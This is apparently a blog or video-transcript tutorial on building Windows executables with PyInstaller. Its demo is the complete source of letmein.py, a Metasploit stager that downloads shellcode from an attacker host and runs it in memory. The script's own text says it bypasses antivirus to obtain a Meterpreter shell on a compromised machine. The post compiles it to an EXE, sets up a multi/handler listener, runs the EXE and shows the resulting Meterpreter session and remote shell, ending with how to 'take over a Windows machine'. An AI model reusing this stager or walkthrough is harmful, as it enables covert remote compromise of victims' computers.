How to compile Python scripts with PyInstaller

How to compile Python scripts with PyInstaller

One of the questions I get asked the most about Python is “how do you create a standalone executable file from a Python script? Well, in this video I will show you how.

First, we need to make sure we have pyinstaller installed in our system. With this tool, we can bundle a Python application and all its dependencies into a single package.

For this demo, I will use PyInstaller to create a standalone executable file on Windows, but the same steps apply for Linux and Mac OS.

 So, let’s open the Command Prompt and go to the Python folder.

cd "C:\Users\user\AppData\Local\Programs\Python\Python36-32\"

Once we are there, we can move to the Scripts folder and install PyInstaller with the following commands:

cd Scripts\
pip3.exe install pyinstaller

Great! Now that we have PyInstaller installed in our system, we can used it to create a standalone application.

However, before we do so, let’s just add PyInstaller to the PATH. In order to do so, add C:\Users\user\AppData\Local\Programs\Python\Python36-32\Scripts\ to the Path environment variable.

With PyInstaller in the PATH, we are ready to move on.

For this demo, I decided to compile the infamous letmein.py script, a pure Python 3 implementation of the staging protocol used by the Metasploit Framework

#!/usr/bin/env python3

"""
letmein.py 0.1 - Metasploit Framework Python Stager Stub
Copyright (c) 2017 Marco Ivaldi <raptor@0xdeadbeef.info>

"The Other Way to Pen-Test" --HD Moore & Valsmith

Letmein is a pure Python 3 implementation of the staging
protocol used by the Metasploit Framework. Just start an
exploit/multi/handler (Generic Payload Handler) instance
on your attack box with either a reverse_tcp or bind_tcp
Meterpreter payload, then run letmein (ideally converted
to EXE format) on a compromised Windows box and wait for
your session.

This technique is quite effective in order to bypass the
antivirus and obtain a Meterpreter shell on Windows.

This script is only a proof of concept. In this specific
case, Python may not be the best choice available (hint:
try C or PowerShell instead;).

Based on:
https://github.com/rsmudge/metasploit-loader

Requirements:
Python 3 (https://pythonclock.org/ is ticking...)

Tested with the following payloads:
windows/meterpreter/reverse_tcp (Python 32-bit only)
windows/meterpreter/bind_tcp (Python 32-bit only)
windows/x64/meterpreter/reverse_tcp (Python 64-bit only)
windows/x64/meterpreter/bind_tcp (Python 64-bit only)

Example usage:
[on the attack box]
$ msfconsole
msf > use exploit/multi/handler
msf > set PAYLOAD windows/meterpreter/reverse_tcp
msf > set LHOST x.x.x.x
msf > exploit
[on the target system]
C:\> python letmein.py -r x.x.x.x

TODO:
Test 32-bit/64-bit EXE on different Windows versions
Use "from <module> import <function>" to reduce size
Implement support for Meterpreter Paranoid Mode
Implement support for other payloads
Python 2 compatibility (implement a custom int.to_bytes)

Get the latest version at:
https://github.com/0xdea/tactical-exploitation/
"""

VERSION = "0.1"
BANNER = """
letmein.py {0} - Metasploit Framework Python Stager Stub
Copyright (c) 2017 Marco Ivaldi <raptor@0xdeadbeef.info>
""".format(VERSION)

import sys
import argparse
import socket
import struct
import ctypes

def reverse_tcp(args):
"""
Payload handler for reverse_tcp
"""

host = args.r
port = args.p
socket.setdefaulttimeout(args.t)

# connect to reverse_tcp exploit/multi/handler
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))

letmein(s)

def bind_tcp(args):
"""
Payload handler for bind_tcp
"""

port = args.p

# open a port for bind_tcp exploit/multi/handler
b = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
b.bind(("0.0.0.0", port))
b.listen(1)
s, a = b.accept()

letmein(s)

def letmein(s):
"""
Metasploit staging protocol handler
"""

# get 4-byte payload length
l = struct.unpack("@I", s.recv(4))[0]

# download payload
d = s.recv(l)
while len(d) < l:
d += s.recv(l - len(d))

# prepend some asm to mov the socket descriptor into edi
# mov edi, 0x12345678 ; BF 78 56 34 12 (32-bit)
d = bytearray(
b"\xbf"
+ s.fileno().to_bytes(4, byteorder="little")
+ d)
# mov rdi, 0x12345678 ; 48 BF 78 56 34 12 00 00 00 00 (64-bit)
# based on my tests, this doesn't seem to be necessary for x64
"""
d = bytearray(
b"\x48\xbf"
+ s.fileno().to_bytes(8, byteorder="little")
+ d)
"""

# allocate a RWX memory region
# VirtualAlloc(0, len(d), MEM_COMMIT, PAGE_EXECUTE_READWRITE)
ptr = ctypes.windll.kernel32.VirtualAlloc(
ctypes.c_int(0),
ctypes.c_int(len(d)),
ctypes.c_int(0x3000),
ctypes.c_int(0x40))

# copy the shellcode
buf = (ctypes.c_char * len(d)).from_buffer(d)
ctypes.windll.kernel32.RtlMoveMemory(
ctypes.c_int(ptr),
buf,
ctypes.c_int(len(d)))

# execute the shellcode
ptr_f = ctypes.cast(ptr, ctypes.CFUNCTYPE(ctypes.c_void_p))
ptr_f()

# execute the shellcode, a possible variant by Debasish Mandal
# see http://www.debasish.in/2012/04/execute-shellcode-using-python.html
"""
ht = ctypes.windll.kernel32.CreateThread(
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_int(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(
ctypes.c_int(ht),
ctypes.c_int(-1))
"""

def get_args():
"""
Get command line arguments
"""

parser = argparse.ArgumentParser()
subparsers = parser.add_subparsers(
title="commands",
help="choose payload type")

# reverse_tcp subparser
parser_reverse_tcp = subparsers.add_parser(
"reverse_tcp",
help="reverse_tcp payload")
parser_reverse_tcp.set_defaults(func=reverse_tcp)

# reverse_tcp arguments
parser_reverse_tcp.add_argument(
"-r",
metavar="HOST",
required=True,
help="specify target hostname or IP address")
parser_reverse_tcp.add_argument(
"-p",
metavar="PORT",
type=int,
default=4444,
help="specify port to use (default: 4444)")
parser_reverse_tcp.add_argument(
"-t",
metavar="TIMEOUT",
type=int,
default=10,
help="specify timeout in seconds (default: 10)")

# bind_tcp subparser
parser_bind_tcp = subparsers.add_parser(
"bind_tcp",
help="bind_tcp payload")
parser_bind_tcp.set_defaults(func=bind_tcp)

# bind_tcp arguments
parser_bind_tcp.add_argument(
"-p",
metavar="PORT",
type=int,
default=4444,
help="specify port to use (default: 4444)")

if len(sys.argv) == 1:
parser.print_help()
sys.exit(0)

return parser.parse_args()

def main():
"""
Main function
"""

print(BANNER)

if sys.version_info[0] != 3:
print("// error: this script requires python 3")
sys.exit(1)

args = get_args()

try:
args.func(args)
except (KeyboardInterrupt, SystemExit):
sys.exit(1)
except Exception as err:
print("// error: {0}".format(err))
sys.exit(1)

if __name__ == "__main__":
main()

To compile this script, we can simply type pyinstaller followed by the --onefile option and the name of the script, as shown below.

C:\Users\user\Desktop>pyinstaller --onefile letmein.py
94 INFO: PyInstaller: 3.4
109 INFO: Python: 3.6.4
109 INFO: Platform: Windows-8.1-6.3.9600-SP0
109 INFO: wrote C:\Users\user\Desktop\letmein.spec
109 INFO: UPX is not available.
109 INFO: Extending PYTHONPATH with paths
['C:\\Users\\user\\Desktop', 'C:\\Users\\user\\Desktop']
109 INFO: checking Analysis
109 INFO: Building Analysis because Analysis-00.toc is non existent
109 INFO: Initializing module dependency graph...
109 INFO: Initializing module graph hooks...
109 INFO: Analyzing base_library.zip ...
7437 INFO: running Analysis Analysis-00.toc
7437 INFO: Adding Microsoft.Windows.Common-Controls to dependent assemblies of final executable
required by c:\users\user\appdata\local\programs\python\python36-32\python.exe

7968 INFO: Caching module hooks...
7984 INFO: Analyzing C:\Users\user\Desktop\letmein.py
8062 INFO: Loading module hooks...
8062 INFO: Loading module hook "hook-encodings.py"...
8171 INFO: Loading module hook "hook-pydoc.py"...
8188 INFO: Loading module hook "hook-xml.py"...
8765 INFO: Looking for ctypes DLLs
8765 INFO: Analyzing run-time hooks ...
8781 INFO: Looking for dynamic libraries
8937 INFO: Looking for eggs
8937 INFO: Using Python library c:\users\user\appdata\local\programs\python\python36-32\python36.dll
8953 INFO: Found binding redirects:
[]
8953 INFO: Warnings written to C:\Users\user\Desktop\build\letmein\warn-letmein.txt
9077 INFO: Graph cross-reference written to C:\Users\user\Desktop\build\letmein\xref-letmein.html
9094 INFO: checking PYZ
9109 INFO: Building PYZ because PYZ-00.toc is non existent
9109 INFO: Building PYZ (ZlibArchive) C:\Users\user\Desktop\build\letmein\PYZ-00.pyz
10062 INFO: Building PYZ (ZlibArchive) C:\Users\user\Desktop\build\letmein\PYZ-00.pyz completed successfully.
10078 INFO: checking PKG
10078 INFO: Building PKG because PKG-00.toc is non existent
10078 INFO: Building PKG (CArchive) PKG-00.pkg
11656 INFO: Building PKG (CArchive) PKG-00.pkg completed successfully.
11672 INFO: Bootloader c:\users\user\appdata\local\programs\python\python36-32\lib\site-packages\PyInstaller\bootloader\Windows-32bit\run.exe
11703 INFO: checking EXE
11703 INFO: Building EXE because EXE-00.toc is non existent
11703 INFO: Building EXE from EXE-00.toc
11703 INFO: Appending archive to EXE C:\Users\user\Desktop\dist\letmein.exe
11781 INFO: Building EXE from EXE-00.toc completed successfully.

C:\Users\user\Desktop>

Once PyInstaller is done, we should see our standalone executable file in the dist folder. In this case, the executable file is called letmein.exe.

Now, to test this executable, let’s see if we can use it to initiate a reverse shell and connect back to our Kali Linux machine.

So, let’s go back to our Kali machine, open msfconsole, and set up an exploit/multi/handler.

# msfconsole

=[ metasploit v5.0.15-dev ]
+ -- --=[ 1872 exploits - 1061 auxiliary - 328 post ]
+ -- --=[ 546 payloads - 44 encoders - 10 nops ]
+ -- --=[ 2 evasion ]

msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set LHOST 10.0.2.10
LHOST => 10.0.2.10
msf5 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.0.2.10:4444 

With the exploit/multi/handler listening on the Kali machine, the next step is to run the letmein.exe executable file, as shown below.

C:\Users\user\Desktop\dist>letmein.exe reverse_tcp -r 10.0.2.10

letmein.py 0.1 - Metasploit Framework Python Stager Stub
Copyright (c) 2017 Marco Ivaldi <raptor@0xdeadbeef.info>

If everything goes well, we should get a new Meterpreter session.

[*] Sending stage (179779 bytes) to 10.0.2.14
[*] Meterpreter session 1 opened (10.0.2.10:4444 -> 10.0.2.14:49180) at 2019-05-03 04:39:40 -0700

meterpreter > sysinfo
Computer : WINDOWS81
OS : Windows 8.1 (Build 9600).
Architecture : x86
System Language : en_US
Domain : WORKGROUP
Logged On Users : 3
Meterpreter : x86/windows
meterpreter > shell
Process 2428 created.
Channel 1 created.
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:\Users\user\Desktop\dist>whoami
whoami
windows81\user

C:\Users\user\Desktop\dist>

And this is how you create a standalone executable file from a Python script and use it to take over a Windows machine. If you have any question, feel free to leave a comment down below. 😉